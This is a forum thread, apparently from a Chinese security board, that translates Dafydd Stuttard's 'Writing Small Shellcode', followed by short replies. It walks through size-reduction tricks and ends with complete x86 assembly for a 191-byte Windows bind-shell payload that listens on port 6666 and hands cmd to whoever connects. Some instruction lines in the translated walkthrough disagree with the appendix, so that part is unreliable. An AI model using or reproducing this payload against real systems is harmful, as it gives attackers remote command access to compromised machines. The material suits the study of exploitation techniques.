发新话题
打印

[翻译]写精简的shellcode(译自:Writing Small Shellcode)

[翻译]写精简的shellcode(译自:Writing Small Shellcode)

信息来源:http://www.ngssoftware.com/
文章作者:Dafydd Stuttard (daf[at]ngssoftware[dot]com)
译文作者:fqucuo、wangweinoo1
原作时间:应为05年左右
译者声明:本人在https://forum.eviloctal.com/thread-14515-1-7.html看到了Writing Small Shellcode这篇文章,也许写的时间有点老,不过我认为技术是不会老的,便萌生翻译的想法,偶查词,于看雪看到了fqucuo的译版,本人认为该版未免太有缩略之嫌,遂参考fqucuo的译版继续译下去,并尽量使文章风格符合中国人的口味,在此感谢fqucuo。

摘要(Abstract)
本文描述了如何以尽可能小的体积完成一个WIN32 ShellCode,并使这个shellcode并未缩水版,而为精华版,具备大多数需要的通用特性。最终,作者完成了一个不可能完成的任务——一个绑定端口的191字节(不包括\0)的small shellcode。

背景(Background)
本文描述了如何以尽可能小的体积完成一个WIN32 ShellCode,并使这个shellcode并未缩水版,而为精华版,具备大多数需要的通用特性。最终,作者完成了一个不可能完成的任务——一个绑定端口的191字节(不包括\0)的small shellcode。(本段同Abstract,但为保持原文完整性,保留)
体积对shellcode的编写无疑是一个Challenge,我们往往只能够获得很小的可利用空间,这就对我们写small shellcode有了较高要求
本文假定读者有较好对x86下ASM基础

导言(Introduction)
我们的任务主要是完成以下三步:
1. 绑定ShellCode到端口6666;
2. 建立一个链接;
3. 安全退出;
下面这段代码必须运行在NT4, 2000, XP和2003,假定eax寄存器指向我们的shellcode首地址(具体情况灵活发挥):

void main()
{
unsigned char sc[256] = "";
strncpy(sc,
  "shellcode goes here",
  256);
__asm
{
  lea eax, sc
  push eax
  ret
}
}

(wangweinoo1注:说点个人意见,我不大赞同void main这种写法,也许是受gcc的影响吧,似乎int main(void)...return 0;比较正式点?貌似C Programming Language就是这样写的。。。个人意见,仅供参考)
我们可以观察到这些:
这段shellcode里面不能有空值(否则会被strncpy截断)
这段shellocde必须运行在栈空间里
Winsock没有被初始化
我们假设eax指向我们的shellcode的首地址(据fqucuo讲,具体细节部分可见于failwest Sir's 教程,参考)
所有的代码将会附加在后面的附录,首先,我先介绍几个关于这个任务的注意事项和细节

怎样写一个small code(Ideas for writing small code)

1.使用短指令
x86的指令长度是可变的,有些时候不同长度的指令却可以完成相同的两件事,现在我们来介绍几个非常有用的“单字节”的指令
xchg eax, reg   交换eax与其它寄存器中的内容
lodsd/lodsb     装载由esi指向的双字/单字节到eax/al中,同时递增esi.
stosd/stosb     保存由edi指向的双字/单字节到eax/al中,同时递增edi.
pushad/popad 向/从堆栈中保存/恢复所有寄存器。
cdq                   扩展32位寄存器到64,其高字节部分根据eax高位的符号位扩展,当eax == 0 或者 eax <0x80000000的时候,edx = 0,反之edx = -1(0xFFFFFFFF),这样的话我们可以在我们能控制的清空下实现edx清零的操作

2.用有限指令完成尽可能多的操作
有时我们可以用1条指令完成N个操作,例如上面例子中,stos可以替代xchg,lods

3.利用API法则
有时Windows API定义的参数可能是特定的类型或是特定的大小。但经验证明我们用许多方式传入的参数API函数都是可以接收的。例如:许多API函数需要一个结构体和表示结构体的大小的参数,只要简单的设置这个表示大小参数为足够大的值时,API函数都是可以正常工作的。这样,当我们知道在堆栈中已经存在一个任意的很大的数值时,我们可以利用API的这种包容性来避免为其专门指定一个精确的参数。
许多API使用非空值最为参数,但是他们通常都是在最后入栈的,相比之下,我们传入空寄存器倒不如清空一块栈空间来的容易,之后我们就仅需要传入非空值即可,当我们连续的调用几个需要此类大小空间的作为参数的API的时候,这个时候,这种方案将是十分有意义的!(这里用了fqucuo的发挥,原意为减少的代码量是很可观的。)
对于我们来说,就可以在栈空间中为API划出一块足够大的空间作为API的结构体参数,通常,我们可以使用单字节指令“push esp”作为结构体指针参数传入,有时,API不做边界检查的,特别是当一个参数是输入参数,而另一个参数是输出参数时。

4.不要像程序员一样思考问题(wangweinoo1注:嘿嘿,很有意思吧,其实就是说不要思维定势)
做为程序员,我们总使用一种特定的,系统化的方式来利用堆栈工作,我们压入函数的参数,调用这个函数,可能还要调整堆栈的指针,最后还要保存/处理函数的输出。
而做为ShellCode的编写者,我们应该有更多的想象:
为了生成更小型的代码,我们可以设置某个寄存器保存已知数值,长期的为API函数传入参数,直到真正要使用这个寄存器为止。
可以使用在堆栈中已经存在的数据精巧的做为参数而不进行任何压栈操作。
如果我们已知合适的值在堆栈的上偏移处或下偏移处,可以只调整esp寄存器来使用它工作在正确的位置。
我们也可以使用另一种方式,就是堆栈的帧指针来关联到正确的参数或局部成员位置处。通常的编译器利用帧寄存器的方式不利于生成紧固的ShellCode代码,但在任何情况下帧指针寄存器是在多个API调用间用来保存信息的绝妙的方式(下面将会介绍)。

5.有效的使用寄存器
x86寄存器不全是等价的,有些有用的指令只能使用在指定寄存器上,确定使用某几个寄存器是经常的也是必须的, (比如用来保存API函数地址的ebp, edi, esi 等,lodsb stosd等都可以有效的控制他们的位置)使用这些寄存器来保存信息远比用栈来保存信息有意义的多(原文为:大大提高效率)

6.考虑使用编码或压缩
对于需要大于200或300字节空间的ShellCode来说,它最好先被有效的编码或压缩,编码的方式允许原始的代码包括空字符而且因此可以潜在的提高效能;比如可以通过把空字符和某一固定的常量(并不在代码中出现)相异或来消除空字符。
压缩的方式将原始代码缩短为更短小的体积。
利用这两种方式,最终的代码将由解码或解压缩子程序先生成原始代码再运行。考虑到实现一个合适的解压器或解码器的成本,这两种方式仅在ShellCode的原始代码的长度超过可以接受的长度时才有使用价值。
但当我们的代码有一些其它的限制时也会有这样的需求。比如,ShellCode代码只能包括阿拉伯字母时,这时,通常先不考虑这些限制而直接写出原始的ShellCode代码,然后再对其进行编码来满足要求,同时使以编码方式满足要求的自解码子程序做为最终的ShellCde的开始。
(wangweinoo1注:fqucuo将本段略了,理由是:又臭又长,的确,就个hash写这么长。。。为保持原文完整性。。。)

定位Win API函数

为了使我们的shellcode能够运行在各个版本中,我们要先完成两件比较重要的事情:

  • 确定我们所需要的函数
  • 确定我们使用这些函数以完成的任务

在前面已经说明了缩减ShellCode代码体积的方法的大部分内容,虽然后面的内容也可能会附带一些有关的技巧
写shellcode,我们需要这些函数:

ws2_32.dll

  • WSAStartup 运行环境还没有初始化Winsock功能库
  • WSASocketA 生成一个套接字
  • bind 将套接字绑定至一个本地端口
  • listen 监听某个TCP套接字上的连接请求
  • accept 接受一个独立的连接


kernel32.dll

  • LoadLibrayA 装载ws2_32.dll
  • CreateProcessA 生成一个接收客户端连接的命令行进程
  • ExitProcess 当客户端连接成功后就完整的退出ShellCode进程


为了定位这些需要的函数,我们要使用很规范的函数名散列的方法,搜索相关函数库的导出表找出名称与散列中的每个散列值匹配的函数,选择一个合适的散列算法可以大大的节省我们代码的体积。此散列算法需要满足的需求:
1.要定位的函数在相应库中不会发生冲突。
2.产生最少的满足条件的散列项。
3.需要用最短小的字节数来实现它。
4.保存散列的内存空间如果被执行,效果如同空操作。
5.保存散列的内存空间包括了在我们实际想执行的机器码。

对于需求1,我们可以进行各种优化达到我们需求。可以提供某种预定义的顺序来查找导出表中的函数,使其中第一个匹配的函数是正确的。包来包容函数散列表可能存在的冲突,

对于需求2,这里,我们假设8-bit长是散列表最优化的大小。kernel32.dll导出了超过900个函数,我们将仔细找出一种满足需求1的方法在最多只可以有256个表项的散列中找出正确函数。如果散列表整个内存空间的体积小于8-bit,把它们解码为可执行的形式必将引发一些系统消耗,这样做是不划算的。

对于需求3,我们需要记住使用X386机器码来实现同样效果的操作可以有多种大小不同的方式,例如,
右移cl 1或2 bit:
\xd0\xc1   ;rol cl, 1
\xc0\xc1\x02   ;rol cl, 2
\x66\xc1\xc1\x02  ;rol cx, 2
所以散列表函数执行大部分操作时都可以优选那些更加短小的机器码。

现在注意需求4和5,只要有可能,我们就要把我们的散列排列成与函数的被调用顺序相同的顺序。因为这样我们构造出的函数寻址表,可以利用很短的指令依顺序调用它们。

需求4的考虑在于,如果我们可以找到一个满足需求4的散列函数,那么我们可以正确的把我们的散列表放置在ShellCode的开始处。这就意味着启动程序中的eax将指向我们的散列表的开始,这种方法常常用在ShellCode的起始任务中需要调用某个散列表地址的情况下,这样就不需要那个跳转到散列表的指令。这样的代码运行时,在达到第一个有效的指令之前的所有指令将是无效果的,它们的执行不会带来任何不好的效果。

在考虑需求4之后,需求5的设计是更有意义的。我们将通过把ShellCode代码中要执行的指令与我们的散列表空间重叠的方法来保存空间。

有大量的潜在的散列算法是有效的,从它们之中找出合适的算法的最佳方法是使用程序化方式。我们写了一个快速的工具来动态的通过合适的X386指令(xor, add, rol, etc)构建不同的散列算法。然后,将测试每种算法找出对于我们需要定位的函数可产生8-bit散列值同时满足需求1和需求3的算法。这里,最后结果是6种不同的候选算法,它们都是由两个二字节的指令完成。下一步通过手动的检查来判断它们之中是否有满足需求4和5的算法,如果很幸运的有一种算法满足了需求4(它提供了一个无执行效果的散列内存空间),那么这时需求5也同时满足的可能性非常小,但我们也非常的希望它的出现。

当然,毫无疑问我们需要这个散列算法来工作在所有已经存在的基于NT内核的Windows系统上,可能将来版本的Windows的库文件会引入新的导出表使我们用到的函数重定位,导致现在的散列算法不匹配,如果是这样的,我们将需要再次查找可以工作在新平台下的合适算法。

最后我们选择的算法使用esi定位当前分析的函数名,edx被初始化为空值。
hash_loop:
lodsb    ;装载下一个字符到al叠加esi
xor al, 0x71   ;用0x71异或当前字符
sub dl, al   ;更新哈希表项当前字符
cmp al, 0x71   ;直到达到字符串末尾
jne hash_loop

这个散列算法输出的结果如下,结果表现出了空操作等效的特征:
0x55  ;LoadLibraryA  ;pop ecx
0x81  ;CreateProcessA  ;or ecx, 0x203062d3
0xc9  ;ExitProcess
0xd3  ;WSAStartup
0x62  ;WSASocketA
0x30  ;bind
0x20  ;listen
0x41  ;accept   ;inc ecx

注意空操作等效特性是完全依赖于特定的环境的,比如是否需要关心无关寄存器的值,或者其它的附带不利效果。在这里的运行环境中,空操作等效特征关系到:保存eax寄存器中的数据(因为它指向了我们的散列表地址),不引用任何其它的寄存器(因为我们无法保证它指向了有效的内存空间),不会发生代码分支(jmp,retn,etc),以及不执行任何非法的,特权保护的,或其它有疑问的指令。

保证代码空操作等效特征的实现后,还要注意很常用的内容为"cmd"的字符串的分配,这个字符串将被正确的放置在散列表之后,我们需要它在代码中做为一个参数传入到CreateProcessA API函数中,来启动一个命令行进程。我们不需要包括".exe"后缀,同时这个参数是大小写不敏感的,结果为:
0x43  ;C  ;inc ebx
0x4d  :M  ;dec ebp
0x64  ;d  ;FS:
0x64这个机器码是一个指令前缀,它通知处理器在FS内存段的环境下译码尾随的指令。但对于大部分指令将是顺序执行的,这时这个前缀就是多余的,将被处理器忽略。

(另一个常用的技巧要把它牢记在脑子里,尾随"cmd"这个字符串的空间是可以被它破坏的(译者:我想是因为它正好是DWORD的长度吧)。所以,如果我们知道堆栈的顶部值为空的话,可以使用5个字节的指令"push 0x20646d63"来在堆栈中得到一个空结束字符串。

已经实现了优化散列算法的创意,下个任务是实现从散列值反解析函数地址的算法。有两种方式来达到目的:
1.我们可以在代码刚开始时解析全部的函数,保存它们的地址以备后用。
2.我们仅是在此函数被调用的时候才对其解析。
两种实现在不同的环境下都有相应的价值,在前面已经做出了选择。

我们决定在堆栈中刚好是ShellCode的开始(也即内存地址的低处)保存函数地址。因为我们在代码中只是通过调用ExitProcess来完全的退出,所以任何对堆栈内存空间破坏都不重要了。我们将在散列表空间前24(0x18)个字节保存解析后函数地址。这意味着解析后的地址将精巧的复写在散列表内存空间中,正好在"cmd"字符串之前。如同下面将看到的,我们保留一个正确指向"cmd"字符串的寄存器,可以用它来调用CreateProcessA。

我们将使用极具效率的指令 lodsb 和 stosd 来装载和保存地址,所以我们分别设置esi和edi到散列表的起始地址和函数地址保存区的起始地址。同时,如果eax寄存器保存了一个很小的数值(它指向的堆栈空间),最好使用单字节指令 cdq 来设置edx为0,我们将马上使用这个技巧:
cdq   ;set edx = 0
xchg eax, esi  ;esi = addr of first function hash
lea edi, [esi - 0x18] ;edi = addr to start writing function

我们要定位的函数在kernel32.dll和ws2_32.dll两个库中。因为后者没有被加载,我们需要先使用kernel32.dll,它被所有的 Windows 进程自动加载。我们使用非常标准的方式来得到kernel32.dll库的基地址,即定位PEB中的初始化库列表,再找出列表中第二项(它一直用做kernel32.dll)(参见附录)。

我们将循环执行散列解析代码8次,每次对应一个函数散列值。当kernel32.dll的导出函数被完全定位后,我们将使用LoadLibrary("ws2_32")和返回的ws2_32库的基地址来定位Winsock函数。之后,在调用WSAStartup函数时,我们还需要一个不可以被破坏的大的堆栈空间,用来写入一个WSADATA结构体。同时,我们还有一个方便使用的保存着空值的edx寄存器,用来有效的利用堆栈空间和指向字符串"ws2_32",用做函数参数。

mov dh, 0x03
sub esp, edx
mov dx, 0x3232
push edx
push 0x5f327377
push esp

我们的函数解析代码假设 ebp 一直保存着这个库的基地址,esi 指向下一个将被执行的散列值,同时 edi 指向下一个用来写入解析出的函数地址的位置。已经解决了加载散列表的问题,下个任务是找出函数导出表。
find_lib_functions:
loadsb    ;load next hash into al

find_functions:
pushad    ;保存所有寄器
mov eax, [ebp + 0x3c]  ;eax = PE头的起始地址
mov ecx, [ebp + eax + 0x78] ;ecx = 导出表的相对偏移量
add ecx, ebp    ;ecx = 寻出表的绝对地址
mov ebx, [ecx + 0x20]  ;ebx = 名称表的相对地址
add ebx, ebp    ;ebx = 名称表的绝对地址
xor edi, edi   ;edi用来统计所有函数的数量

然后我们循环遍历所有的函数名,同时使用算法来计算相应的散列值。
next_function_loop:
inc edi    ;累计函数总量
mov esi, [ebx + edi + 4] ;esi = 当前函数名的相对偏移量
add esi, ebp   ;esi = 当前函数名的绝对偏移量
cdq

hash_loop:
lodsb    ;装载下一个字符到al叠加esi
xor al, 0x71   ;用0x71异或当前字符
sub dl, al   ;更新哈希表项当前字符
cmp al, 0x71   ;直到达到字符串末尾
jne hash_loop

我们比较计算出的每个函数名的散列值对应的散列表的项来解析函数地址,这里在使用pushad保存所有寄存器前先装载了eax。eax值从此被改变,所以我们可以比较计算出的散列值和eax的值,它保存在堆栈空间esp + 0x1c中。

cmp dl, [esp + 0x1c]  ;比较请求的散列值(译者:我想这里的dl是eax吧)
jnz next_function_loop

在比较结果一致后,当我们退出next_function_loop循环,我们找出了正确的函数,它的索引号将保存在edi中,同时函数计数器累加。现在对于当前查找的函数的余下任务是使用索引号来找出函数的地址。
mov ebx, [ecx + 0x24]  ;ebx = 序号表的相对地址
add ebx, ebp   ;ebx = 序号表的绝对地址
mov dl, [ebx + 2 * edi]  ;dl = 匹配函数的序列号
mov ebx, [ecx + 0x1c]  ;ebx = 地址表的相对地址
add ebx, ebp   ;ebx = 地址表的绝对地址
add ebp, [ebx + 4 * edi] ;将ebp值(模块的基地址)加上匹配函数的相对偏移量

现在在ebp就是被解析的函数的地址,这里想要此值保存在edi寄存器指向的地址为起始地址的空间中,在我们使用pushad指令保存所有的寄存器之前。我们可以使用stosd移动到这里,但是首先需要保存在edi中的原始地址。以下的代码不很规范但只用了4个字节的代码就可以正常工作。
xchg eax, ebp   ;将函数的地址移至eax寄存器中
pop edi    ;edi是使用pushad命令时最后压入栈中的寄存器
stosd    ;将函数的地址写入edi
push edi   ;恢复堆栈准备执行popad指令

我们现在已经完成了解析某个函数散列值的任务。我们需要恢复我们保存的寄存器,继续循环直到解析所有8个函数之后。最后一个函数地址将精确的重写在最后的函数散列,我们检测两个指针esi,edi是否相同来中止解析任务。
popad
cmp esi, edi
jne find_lib_functions

这就是我们完整的解析函数地址的情节。唯一没有完成的是当已经解析了散列表中开头的三个函数后从kernel32.dll切换到ws2_32.dll。为了实现这个功能,在find_functions之前即时加入如下代码:

cmp al, 0xd3   ;WSAStartup函数的散列值
jne find_functions
xchg eax, ebp   ;保存当前的散列值
call [edi - 0xc]  ;LoadLibraryA
xchg eax, ebp   ;恢复当前散列值,同时更新ebp为ws2_32.dll的基地址。
     ;首先保存Winsock首地址
push edi   ;函数

这时字符串“ws2_32”的指针仍然在堆栈的顶部,所以我们可以正确的调用LoadLibrayA函数。
在解析我们的所有函数的散列值后,下个任务就是开始调用Winsock函数,所以我们在堆栈中保存第一个Winsock函数的位置。上面的代码演示了单字节的指令“xchg eax, reg”对生成一个紧固的ShellCode代码是多么有效。

实施bindshell(Implementing a bindshell)

在使用任何函数前,我们需要通过调用WSAStartup函数初始化Winsock。调用解析函数地址时保存在堆栈中的函数地址,这些Winsock函数地址是以它被调用的顺序来保存的。因此,我们将把函数地址存储空间的首地址放置在esi中,在需要时使用lodsd/call eax来调用各个Winsock函数。

WSAStartup 用到了两个参数:
itn WSASTartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
我们将使用堆栈来保存WSADATA数据结构。因为这个参数是输出参数,我们不需要初始化它-只要保证函数运行结果不会覆盖任何重要的数据就可以。我们的代码已经在堆栈中引入了足够的空间来保证将不会覆盖自身。

pop esi    ;保存第一个Winsock函数地址的位置
push esp   ;lpWSAData
push 0x02   ;wVersionRequested
Lodsd
call    ;WSAStartup

WSAStartup返回0表示执行成功(如不成功,那么将不再存在代码可以运行的希望!)。所以可以通过判断我们的eax寄存器是否为空值,来执行多个必须的函数。字符串"cmd"在使用前需要保证它是空字符结束的。同时,其它的一些Winsock函数的参数可以为空值。我们将清空大块的堆栈空间为0。这样我们不做任何事就可以使用空值参数,我们也将使用清空后的堆栈来生成CreateProcessA函数需要的STARTUPINFO结构体。
mov byte ptr [esi + 0x13], al
lea ecx, [eax + 0x30]
mov edi, esp
rep stosd

下一步,WSASocket使用了6个参数:
SOCKET WSASocket(
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags
  );

这个函数只需关心af,type和特殊类型的参数,因此只需要af在相应的位置输入2(AF_INET)和1(SOCK_STREAM)。我们将利用我们清空的堆栈为其它的参数提供0值。WSASocket返回一个套接字描述符,将被以后的Winsock函数所使用。我们把它保存在ebp中,ebp在任何API调用中都保证不会改变。

inc eax    ;type = 1 (SOCK_STREAM) push eax
inc eax    ;af = 2 (AF_INET)
push eax
lodsd
call eax   ;WSASocketA
xchg ebp, eax   ;在ebp中保存套接字描述符

下一步需要使我们的套接字监听客户端连接请求通过调用Winsock函数bind,它要求三个参数:
int bind(
  SOCKET s,
  const struct sockaddr *name,
  int namelen
  );
使用程序员的思考方式,我们将假设我们需要通过多件步骤来正确完成对bind函数调用。
1.生成并初始化一个sockaddr结构。
2.将sockaddr结构体的长度入栈。
3.将sockaddr结构体的指针入栈。
4.将套接字描述符入栈。

但其实我们只要对这些步骤做些小改动,就将得到更高的效率。首先,name参数指向的结构体的大部分的值可以设置为0-我们只需要关心开头的两个成员:
short sin_family;
u_short sin_port;

第二步,如前所述,这个namelen参数不需要精确的等于实际结构的长度-只要足够大就可以。因此,我们可以利用其他的数据区。在这里,对于以上两个成员,我们将使用双字 0x0a1a0002(其中的0x0a1a是6666,用做端口号,0x02表示AF_INET,地址族)。我们也将重用这个双字做为此结构体的长度值参数(它是足够大的)。我们将使用堆栈做为结构体,所以其余的成员都由清空后的堆栈空间自然的初始化为0。不巧的是我们下一步需要这个双字为空值,所以我们需要手动的维护它。
mov eax, 0x0a1aff02
xor ah, ah    ;清除中间的ff
push eax    ;length参数,同时也是结构体的头两个成员
push esp    ;指向结构体
push ebp    ;保存的套接字描述符
lodsd
call eax    ;bind

余下的任务是通过接收客户端的连接生成本地套接字,通过调用listen和accept函数来完成。这两个函数声明为:
int listen(
  SOCKET s,
  int backlog
  );

SOCKET accept(
  SOCKET s,
  struct sockaddr *addr,
  int *addrlen
  );

对于这两个函数,唯一必须给出的参数是我们保存的套接字描述符-其余的参数可以全部输入0。accept函数将返回一个新的套接字描述符,代表了相应的客户端连接。listen和bind 函数正好相反,返回0表示成功。实现这些功能,可以利用其它的技巧来减少我们的代码。我们可以使用一个循环来为三个函数输入这个通用的套接字参数,在accept返回非零值时中断这个循环。它非常好的展示了将调用函数地址以其调用顺序排列的优点。下面的代码中最后三条指令由循环替换为实际的函数:bind和它后面的两个函数。
call_loop:
push ebp    ;保存套接字描述符
lodsb
call eax    ;调用下个函数
test eax, eax    ;bind 和 listen函数将返回0
      ;accept将返回实际的套接字描述符
jz call_loop

我们现在差不多可以结束整个工作了,我们已经接收一个客户端连接,现在只需要启动cmd.exe做为一个子进程,通知它使用客户端的套接字做为它的标准句柄,然后完整的退出进程。

CreateProcess要求10个参数,最关键的是我们使用STARTUPINFO结构体来指定客户端的套接字为子进程的标准句柄,和子进程文件名称字符串"cmd"。如同前面,大部分的STARTUPINFO结构体成员可以设置为0,所以我们使用清空的堆栈表示它们。我们需要设置STARTF_USESTDHANDLES标志符为真,然后拷贝我们的套接字描述符(仍然保存在eax寄存器中)到这个结构体成员hStdInput,hStdOutput, 和hStdErr中。(实际上,我们可以减少一个单字节代码来通过不设置stderr。但这里,我们使用一般的方式)。很容易实现这些操作:
;initialise a STARTUPINFO staructure at esp
inc byte ptr [esp + 0x2d]    ;设置STARTF_USESTDHANDLES为真
sub edi, 0xfc      ;将edi指向STARTUPINFO的成员
stosd       ;设置客户端套接字为 stdin 句柄
stosd       ;同样设置stdout
stosd       ;同样设置stderr(可选)

然后我们只需简单的将相关的参数入栈,再调用CreateProcess函数,不需要更多的解释,尽量多讨论一些好技巧。已知我们的堆栈是清空的,所以使用单字节指令“pop eax”来得到一个空值寄存器更胜于使用两字节的指令“xor eax, eax”。需要使用PROCESSINFORMATION结构体传入一个输出参数,因为这时我们的堆栈将会很快的结束使用,所以最好还用堆栈来保存这个参数,它覆盖了STARTUPINFO结构(输入参数)。
pop eax     ;设置eax为0 (STARTUPINFO 结构体现在esp + 4处)
push esp    ;使用堆栈做为PROCESSINFORMATION结构体
      ;(STARTUPINFO现在已经被设置在esp中)
push esp    ;STARTUPINFO结构体
push eax    ;lpCurrentDirectory = NULL
push eax    ;lpEnvironment = NULL
push eax    ;dwCreationFlgs = NULL
push esp    ;bInheritHandles = true
push eax    ;lpThreadAttributes = NULL
push eax    ;lpProcessAttributes = NULL
push esi    ;lpCommandLine = “cmd”
push eax    ;lpApplicationName = NULL
call [esi - 0x-c]   ;CreateProcessA

我们的客户端现在已经做为一个命令行程序运行,然后完成我们的ShellCode仅有的任务就是完美的退出。
call [esi - 0x18]   ;ExitProcess

附录(Appendix – Full solution)
复制内容到剪贴板
代码:
; start of shellcode
; assume: eax points here


; function hashes (executable as nop-equivalent)
    _emit 0x59         ; LoadLibraryA  ; pop ecx
    _emit 0x81         ; CreateProcessA  ; or ecx, 0x203062d3
    _emit 0xc9         ; ExitProcess
    _emit 0xd3         ; WSAStartup
    _emit 0x62         ; WSASocketA
    _emit 0x30         ; bind
    _emit 0x20         ; listen
    _emit 0x41         ; accept    ; inc ecx

; "CMd"
    _emit 0x43             ; inc ebx
    _emit 0x4d             ; dec ebp
    _emit 0x64             ; FS:



; start of proper code
    cdq           ; set edx = 0 (eax points to stack so is
             ; < 0x80000000)
    xchg eax, esi        ; esi = addr of first function hash
    lea edi, [esi - 0x18]      ; edi = addr to start writing function
             ; addresses (last addr will be written just
             ; before "cmd")


; find base addr of kernel32.dll
    mov ebx, fs:[edx + 0x30]      ; ebx = address of PEB
    mov ecx, [ebx + 0x0c]      ; ecx = pointer to loader data
    mov ecx, [ecx + 0x1c]      ; ecx = first entry in initialisation order
         ; list
    mov ecx, [ecx]        ; ecx = second entry in list (kernel32.dll)
    mov ebp, [ecx + 0x08]      ; ebp = base address of kernel32.dll


; make some stack space
    mov dh, 0x03        ; sizeof(WSADATA) is 0x190
    sub esp, edx


; push a pointer to "ws2_32" onto stack
    mov dx, 0x3233        ; rest of edx is null
    push edx
    push 0x5f327377   
    push esp


find_lib_functions:
    lodsb          ; load next hash into al and increment esi
   
    cmp al, 0xd3        ; hash of WSAStartup - trigger  
         ; LoadLibrary("ws2_32")
    jne find_functions
    xchg eax, ebp        ; save current hash
    call [edi - 0xc]        ; LoadLibraryA
    xchg eax, ebp        ; restore current hash, and update ebp
             ; with base address of ws2_32.dll
    push edi          ; save location of addr of first winsock
         ; function


find_functions:  
    pushad          ; preserve registers
    mov eax, [ebp + 0x3c]      ; eax = start of PE header
    mov ecx, [ebp + eax + 0x78]    ; ecx = relative offset of export table
    add ecx, ebp        ; ecx = absolute addr of export table
    mov ebx, [ecx + 0x20]      ; ebx = relative offset of names table
    add ebx, ebp        ; ebx = absolute addr of names table
    xor edi, edi        ; edi will count through the functions


next_function_loop:
    inc edi          ; increment function counter
    mov esi, [ebx + edi * 4]      ; esi = relative offset of current function
         ; name
    add esi, ebp        ; esi = absolute addr of current function
         ; name
    cdq           ; dl will hold hash (we know eax is small)


hash_loop:
    lodsb          ; load next char into al and increment esi
    xor al, 0x71        ; XOR current char with 0x71
    sub dl, al         ; update hash with current char
    cmp al, 0x71        ; loop until we reach end of string
    jne hash_loop

    cmp dl, [esp + 0x1c]      ; compare to the requested hash (saved on
             ; stack from pushad)
    jnz next_function_loop
            ; we now have the right function
    mov ebx, [ecx + 0x24]      ; ebx = relative offset of ordinals table
    add ebx, ebp        ; ebx = absolute addr of ordinals table
    mov di, [ebx + 2 * edi]      ; di = ordinal number of matched function
    mov ebx, [ecx + 0x1c]      ; ebx = relative offset of address table
    add ebx, ebp        ; ebx = absolute addr of address table
    add ebp, [ebx + 4 * edi]      ; add to ebp (base addr of module) the
             ; relative offset of matched function
    xchg eax, ebp        ; move func addr into eax
    pop edi          ; edi is last onto stack in pushad
    stosd          ; write function addr to [edi] and increment
         ; edi
    push edi
    popad          ; restore registers
   
    cmp esi, edi        ; loop until we reach end of last hash
    jne find_lib_functions

    pop esi          ; saved location of first winsock function
             ; we will lodsd and call each func in
         ; sequence


; initialize winsock
    push esp          ; use stack for WSADATA
    push 0x02          ; wVersionRequested
    lodsd
    call eax          ; WSAStartup


; null-terminate "cmd"
    mov byte ptr [esi + 0x13], al    ; eax = 0 if WSAStartup() worked


; clear some stack to use as NULL parameters
    lea ecx, [eax + 0x30]      ; sizeof(STARTUPINFO) = 0x44,
    mov edi, esp
    rep stosd          ; eax is still 0


; create socket
    inc eax
    push eax          ; type = 1 (SOCK_STREAM)
    inc eax
    push eax          ; af = 2 (AF_INET)
    lodsd
    call eax          ; WSASocketA
    xchg ebp, eax        ; save SOCKET descriptor in ebp (safe from
             ; being changed by remaining API calls)


; push bind parameters
    mov eax, 0x0a1aff02      ; 0x1a0a = port 6666, 0x02 = AF_INET
    xor ah, ah         ; remove the ff from eax
    push eax          ; we use 0x0a1a0002 as both the name (struct
             ; sockaddr) and namelen (which only needs to
             ; be large enough)
    push esp          ; pointer to our sockaddr struct


; call bind(), listen() and accept() in turn
call_loop:
    push ebp          ; saved SOCKET descriptor (we implicitly pass
             ; NULL for all other params)
    lodsd
    call eax          ; call the next function
    test eax, eax        ; bind() and listen() return 0, accept()
             ; returns a SOCKET descriptor
    jz call_loop


; initialise a STARTUPINFO structure at esp
    inc byte ptr [esp + 0x2d]     ; set STARTF_USESTDHANDLES to true
    sub edi, 0x6c        ; point edi at hStdInput in STARTUPINFO
    stosd          ; use SOCKET descriptor returned by accept
             ; (still in eax) as the stdin handle
    stosd          ; same for stdout
    stosd          ; same for stderr (optional)


; create process
    pop eax          ; set eax = 0 (STARTUPINFO now at esp + 4)
    push esp          ; use stack as PROCESSINFORMATION structure
             ; (STARTUPINFO now back to esp)
    push esp          ; STARTUPINFO structure
    push eax          ; lpCurrentDirectory = NULL
    push eax          ; lpEnvironment = NULL
    push eax          ; dwCreationFlags = NULL
    push esp          ; bInheritHandles = true
    push eax          ; lpThreadAttributes = NULL
    push eax          ; lpProcessAttributes = NULL
    push esi          ; lpCommandLine = "cmd"
    push eax          ; lpApplicationName = NULL
    call [esi - 0x1c]        ; CreateProcessA


; call ExitProcess()
    call [esi - 0x18]        ; ExitProcess
引用:
wangweinoo1的最后一点话:译这么一篇文章真TMD麻烦啊
原文下载:见https://forum.eviloctal.com/thread-14515-1-7.html

[ 本帖最后由 wangweinoo1 于 2009-1-20 12:56 编辑 ]

TOP

牛人真不是吹的,有些地方的确很高明

TOP

Dafydd Stuttard简介

Dafydd Stuttard is a Principal Security Consultant at Next Generation Security Software, where he leads the web application security competency. He has nine years’ experience in security consulting and specializes in the penetration testing of web applications and compiled software.
  Dafydd has worked with numerous banks, retailers, and other enterprises to help secure their web applications, and has provided security consulting to several software manufacturers and governments to help secure their compiled software. Dafydd is an accomplished programmer in several languages, and his interests include developing tools to facilitate all kinds of software security testing.
Dafydd has developed and presented training courses at the Black Hat security conferences around the world. Under the alias “PortSwigger,” Dafydd created the popular Burp Suite of web application hacking tools. Dafydd holds master’s and doctorate degrees in philosophy from the University of Oxford.

TOP

居然在这里又看见了。。。
http://forum.eviloctal.com/thread-26843-1-1.html

TOP

“void main()
{
unsigned char sc[256] = "";
strncpy(sc,
  "shellcode goes here",
  256);
__asm
{
  lea eax, sc
  push eax
  ret
}
}

(wangweinoo1注:说点个人意见,我不大赞同void main这种写法,也许是受gcc的影响吧,似乎int main(void)...return 0;比较正式点?貌似C Programming Language就是这样写的。。。个人意见,仅供参考)”
linux平台上学习C语言一书中提到过:
K&R上就是main函数定义是main(){...},是Old Style C风格,不写返回值类型就返回int型,不写参数列表就是说参数类型个数没有明确指出(现在C标准还是保留了这种语法),不过这样可能会引入Bug
main函数最标准的形式是int main{int argc,char *argc[]} /*够BT的*/
除了int main(void){...return 0;},int main(int argc,char *argc[]){...;return 0;}两种形式,其他的形式都是错误或不可移植的

好吧,上面的代码写的是void main(){...},他只是指定了返回值,参数还是没管。这样的写法我觉得无伤大雅
void值就是空值,自然不需要ruturn了,省事,只是不能移植罢了
